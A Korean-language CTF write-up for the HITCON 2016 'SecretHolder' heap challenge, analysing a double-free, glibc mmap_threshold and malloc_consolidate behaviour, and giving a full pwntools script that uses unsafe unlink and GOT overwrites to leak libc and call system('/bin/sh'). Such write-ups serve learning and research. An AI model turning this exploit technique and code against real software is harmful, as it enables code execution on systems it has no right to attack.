1. Reversing

 

 위의 바이너리에서는 세가지 기능을 제공한다.

  • Keep secret : small(40), big(4000), huge(400000) size 만큼 calloc 
  • Wipe secret : calloc된 chunk를 free
  • Renew secret : 이미 calloc된 주소에 다시 size만큼 쓰기

 바이너리에는 small, big, huge 각각에 해당하는 flag가 존재한다.

 

 이 flag는 Keep secret으로 small, big, huge 중 하나를 선택해서 calloc을 해주면 선택한 size에 해당하는

 

 flag를 1로 세팅해준다.

 

 Wipe secret은 free를 해주고 flag를 0으로 세팅해준다.

 

 Renew secret 또한 해당 flag가 켜져있는 지 확인 후에 해당 주소에 쓰기를 제공한다.

 

 

 취약점은 Wipe secret에서 발생한다.

 

 Wipe secret에서 free를 제공해줄때 flag의 비트가 0인지를 검사하지 않고 진행한다.

 

 따라서 이미 free된 chunk에 다시 free를 할 수도 있는 취약점이 생기게 된다.

 

 

2. Exploit

 

 해당 바이너리에서 huge size(400000)를 calloc으로 할당하게 되면 size가 topchunk의 크기보다 너무 커서 mmap으로

 

 할당하게 된다. ( 정확히 말하면 size가 mp_.mmap_threshold 보다 커서 그렇다.)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 
if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
          && (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/
    try_mmap:
      /*
         Round up size to nearest page.  For mmapped chunks, the overhead
         is one SIZE_SZ unit larger than for normal chunks, because there
         is no following chunk whose prev_size field could be used.
         See the front_misalign handling below, for glibc there is no
         need for further alignments unless we have have high alignment.
       */
      if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
        size = ALIGN_UP (nb + SIZE_SZ, pagesize);
      else
        size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize);
      tried_mmap = true;
      /* Don't try if size wraps around 0 */
      if ((unsigned long) (size> (unsigned long) (nb))
        {
          mm = (char *) (MMAP (0size, PROT_READ | PROT_WRITE, 0));
        ...
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

 malloc.c의 소스코드이다. (sysmalloc부분)

 

 3번째 줄의 조건문을 보게 되면 nb가 mmap_threshold보다 크거나 같아지면 23번줄에 매크로로 정의되어 있는

 

 MMAP을 호출하게 된다. (mmap함수맞음)

 

 그렇기 때문에 huge size를 할당하면 mmap을 호출하게 되는데( heap영역과 별개의 영역에 할당됨 ) 

 

 여기서 문제는 huge size를 calloc  free  calloc을 해주면 mmap으로 할당하지 않아 heap영역에 할당되게 된다.

 

 처음에 보고 띠용?? 했으나 malloc source code를 보게되면...

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */
  void (*hook) (void *const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  if (mem == 0)                              /* free(0) has no effect */
    return;
  p = mem2chunk (mem);
  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* See if the dynamic brk/mmap threshold needs adjusting.
         Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          && chunksize_nomask (p) > mp_.mmap_threshold
          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
          && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }
  MAYBE_INIT_TCACHE ();
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

 free를 했을 때 15번째 줄에서 해당 chunk가 mmap으로 할당되었는 지 확인 후에 munmap_chunk를 호출한다.

 

 여기서 문제는 19-22번째의 조건문을 만족하면 24-27번째 줄이 실행이 되는데

 

 24번째 줄을 보게 되면 아까 malloc을 할때 기준이 되었던 mmap_threshold의 값을 chunksize만큼 늘리는 것을 볼 수 있다.

 

 이 말은 즉슨 huge size가 free될때 mmap_threshold가 huge size만큼 증가한다는 것을 의미한다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 
      victim = av->top;
      size = chunksize (victim);
      if (__glibc_unlikely (size > av->system_mem))
        malloc_printerr ("malloc(): corrupted top size");
      if ((unsigned long) (size>= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);
          check_malloced_chunk (av, victim, nb);
          void *= chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
      /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (atomic_load_relaxed (&av->have_fastchunks))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }
      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *= sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

 해당 size가 topchunk보다 크면 3번째 조건문에 걸리게 되서 sysmalloc을 하게 되고

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
else     /* av == main_arena */
    { /* Request enough space for nb + pad + overhead */
      size = nb + mp_.top_pad + MINSIZE;
      /*
         If contiguous, we can subtract out existing space that we hope to
         combine with new space. We add it back later only if
         we don't actually get contiguous space.
       */
      if (contiguous (av))
        size -= old_size;
      /*
         Round to a multiple of page size.
         If MORECORE is not contiguous, this ensures that we only call it
         with whole-page arguments.  And if MORECORE is contiguous and
         this is not first time through, this preserves page-alignment of
         previous calls. Otherwise, we correct to page-align below.
       */
      size = ALIGN_UP (size, pagesize);
      /*
         Don't try to call MORECORE if argument is so big as to appear
         negative. Note that since mmap takes size_t arg, it may succeed
         below even if we cannot call MORECORE.
       */
      if (size > 0)
        {
          brk = (char *) (MORECORE (size));
          LIBC_PROBE (memory_sbrk_more, 2, brk, size);
        }
      if (brk != (char *) (MORECORE_FAILURE))
        {
          /* Call the `morecore' hook if necessary.  */
          void (*hook) (void= atomic_forced_read (__after_morecore_hook);
          if (__builtin_expect (hook != NULL0))
            (*hook)();
        }
      else
        {
    
            ...
 
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

 sysmalloc에서 huge size가 mmap_threshold보다 작아지기 때문에 위쪽 조건문에서 걸리지 않게 되고

 

 아래쪽으로 넘어와서 main arena영역을 체크하는 곳에 들어가게 된다.

 

 여기서 sbrk가 매크로로 정의된 MORCORE로 sbrk(size)를 실행한다.

 

 

 따라서  huge size가 free 될때 mmap_threshold를 늘려주고

 

 malloc 할때 top chunk의 size를 sbrk로 늘려주고

 

 huge size에 해당하는 chunk를 heap 영역에 할당하게 된다.

 

 

 이렇게 되서 huge size를 malloc → free → malloc을 하게 되면 heap영역에 할당되게 된다.

 (사실 이거는 소스코드를 계속 보거나 관련 WriteUp or 문서를 계속 찾아봐야 됨)

 

 또한 이렇게 할당되게 되면 unsorted bin에 있는 chunk를 모두 heap영역에 반환하게 되서

 (이것도 왜 unsorted bin에서 반환해주는 지 찾아보야됨~~)

 

 

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

19.08.05 

 

결과적으로 huge size를 할당하게 되면 

 

unosorted bin에 있는 chunk들이 모두 top chunk에 반환되게 된다.

 

그 이유는 huge size는 large bin에 속하게 되는데 이 huge size가 할당이 되는 순간!

 

malloc_consolidate()가 호출이 된다.

 

malloc_consolidate()에서 fastbin에 속해있는 small secret을 small bin으로 할당을 해주는데 

 

small bin으로 전환되는 순간 malloc_consolidate() 내부에서 next chunk가 top chunk인지를 확인한다.

 

top chunk이면 병합을 하게 되므로 huge size가 할당이 되는 순간에 malloc_consolidate()가 호출이 되고

 

free된 small secret과 big secret은 무조건 top chunk에 병합하게 되고

 

sbrk()로 heap영역이 확장된 후 huge secret의 base address가 heap 영역의 시작부분이 되는 것이다.

 

 

결론

 

fast bin일때는 top chunk와 병합되지 않았지만 

 

malloc_consolidate()가 일어나면 (large bin 크기 이상의 chunk가 할당되면) fast bin이 small bin으로 전환되면서

 

next chunk가 top chunk이면 병합이 진행된다.

 

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

 

 

 small, big을 할당 후 해제 한 뒤에 huge size를 heap영역에 할당하게 만들면

 

 small pointer와 시작부분이 겹치게 되면서 big의 pointer가 huge content에 포함하게 된다.

 

  

 

 이제부터 Exploit Flow는 unsafe unlink로 진행하게 된다.

 

 huge content에서 small, big pointer를 포함하고 있기 때문에 

 

 big pointer에 맞춰서 free를 호출할 fake chunk를 만들고  그 밑에 free error가 뜨지 않게 막아주는 fake chunk를 하나 만들어 준다.

 

 전에 풀었던 free note와 동일하게 fake chunk들을 세팅해주면 big, small, huge쪽 pointer에 bss영역이 할당되고

 

 huge secret을 renew로 write해서 got를 가리키게 한 다음 overwrite 후에 libc leak, exploit을 진행했다.

 

 

3. slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
 
context.terminal = ['/goorm/tmux''splitw''-h']
script = '''
b* 0x400b1e
b* 0x400ac2
'''
 
= process('./SecretHolder')
= ELF('./SecretHolder')
 
addr_popret = 0x00400e01
addr_free_got = e.got['free']
addr_puts_plt = e.plt['puts']
addr_puts_got = e.got['puts']
 
 
def keepSecret(choice, secret):
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(choice)
    p.recv()
    p.sendline(secret)
 
    return
 
 
def wipeSecret(choice):
    p.recv()
    p.sendline('2')
    p.recv()
    p.sendline(choice)
 
    return
 
 
def renewSecret(choice, secret):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(choice)
    p.recv()
    p.sendline(secret)
 
    return
 
 
def unsafeunlink():
    keepSecret('3''a')
    wipeSecret('3')
    keepSecret('1''a')
    keepSecret('2''b')
    wipeSecret('1')
    wipeSecret('2')
 
    payload = ''
    payload += p64(0)
    payload += p64(0)
    payload += p64(0x602090)
    payload += p64(0x602098)
    payload += p64(0x20)
    payload += p64(0x90)
    payload += 'A' * 0x80
    payload += p64(0)
    payload += p64(0x619d1)
 
    keepSecret('3', payload)    
    wipeSecret('2')
    
    return
 
 
def libc_leak():
    
    payload = ''
    payload += p64(0xdeadbeefdeadbeef)
    payload += p64(0xdeadbeefdeadbeef)
    payload += p64(0x0# Big secret
    payload += p64(addr_free_got) # Huge secret
    payload += p64(addr_puts_got) # Small secret
    payload += p32(0x0# Big flag
    payload += p32(0xdeadbeef# Huge flag
    payload += p32(0x12345678# Small flag
    payload += p32(0x12312312)
    
    renewSecret('3', payload) # huge, small pointer to GOT
 
    payload = ''
    payload += p64(addr_puts_plt)
    payload += p64(addr_puts_plt+6)
    
    renewSecret('3', payload) # GOT Overwrite (free -> puts)
 
    keepSecret('2''/bin/sh\x00')
    wipeSecret('1'# libc_leak
    
    libc_leak = u64(p.recvuntil('\n').split('\n')[0]+'\x00\x00')
    log.info('libc_leak : ' + hex(libc_leak))
    
    addr_system = libc_leak - 0x297d0
    
    return addr_system
 
    
def exploit():
 
    unsafeunlink()
    addr_system = libc_leak()
 
    payload = ''
    payload += p64(addr_system)
    payload += p64(addr_puts_plt+6)
    
    renewSecret('3', payload) # GOT Overwrite (free -> system)
    wipeSecret('2'# system('/bin/sh\x00')
    
    return
 
 
def main():
    
    exploit()    
    p.interactive()
 
 
if __name__ == '__main__':
    main()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

 

[보충할 점]

 

 1. malloc source code를 분석.

 

 2. mmap_threshold가 변환되는 조건문 분석. ( sbrk 조건문 분석 ) 

 

 3. unsorted bin에 있던 chunk들이 왜 huge size가 할당 될때 heap영역에 반환했는 지 분석.

 

 

[깨달은 점]

 

 1. mmap_threshold가 늘어날 수 있음.

 

  Size가 큰 chunk가 할당되었다가 free되면 mmap_threshold가 늘어나면서 다음 malloc 할때는 sbrk로

 

 topchunk를 늘리고 heap영역을 늘려서 mmap으로 할당하지 않을 수 있음.

 

 2. malloc_consolidate()이 호출되면 일어나는 현상

 

 fast bin일때는 top chunk와 병합되지 않았지만 

 

 malloc_consolidate()가 일어나면 (large bin 크기 이상의 chunk가 할당되면) fast bin이 small bin으로 전환되면서

 

 next chunk가 top chunk이면 병합이 진행됨.

 

 

 +++ 참고할 다른 Exploit +++

Reference : https://blog.naver.com/mathboy7/220904838423

 

1. keep small chunk

2. keep large chunk

3. free small chunk (small chunk -> fastbin) # large chunk's prev_inuse 1

4. keep huge chunk (malloc_consolidate called, small chunk -> smallbin) # prev_inuse 0

5. free small chunk (small chunk -> fastbin, smallbin) # prev_inuse 0

6. keep small chunk (small chunk processed in fastbin) # large chunk's prev_inuse 0

7. renew small chunk, make fake chunk in small chunk and modify prev_inuse

8. free large chunk (unlink triggered)

 

지리네...

 

Question 1.

 

왜 calloc에서 small secret(0x28)을 할당할 때 chunk size(0x10)를 포함한 0x40을 할당하지 않았는가?

 

(왜 next chunk의 prev size가 침범되게끔 크기를 할당했는가..?)

 

Answer 1.

 

 chunk의 size를 할당할때의 공식이다.

 

 E = sizeof(int)  // 32bit는 4, 64bit는 8

 

 S = 2 * E - 1

 

malloced_size = ( requested_size + S + E ) & ~(E-1)

 

추가적인 설명을 하자면 

 

requested_size + S + E = requested_size + 2 * E + (E -1) 이 되고

 

2 * E는 malloced_size의 chunk header size를 의미하고

 

E - 1은 ~(E-1)과의 &연산에서 반올림을 담당하고 있다.

 

(64bit기준으로 request size가 0x28이면 0x30을 할당하고 0x29이면 0x40을 할당하게끔 해주는 값이다.)

 

아무튼 왜 next chunk의 prev size가 침범되게끔 크기를 할당하냐면

 

지금 malloced_size는 해당 요청이 들어온 주소값이 사용할 크기이고

 

prev size는 free된 후에 의미가 있는 부분이다.

 

 

한마디로 prev size부분이 침범이 되도 침범되어 사용하는 상태는 해당 chunk를 사용하는 상태이고

 

(next chunk의 prev size부분이 사용되는 상태는 해당 chunk가 free된 상태이다.

 

따라서 아무리 next chunk의 prev size부분을 사용한다고 해도 현재 chunk가 free 되는 순간

 

next chunk의 prev size는 알아서 갱신되기 때문에 침범되도 상관이 없다.

 

따라서 malloc.c에서 저렇게 malloc size를 할당하게 된다. 

'System > Hitcon 2016' 카테고리의 다른 글

[Hitcon 2016] - houseoforange - 191110  (0) 2019.11.10

+ Recent posts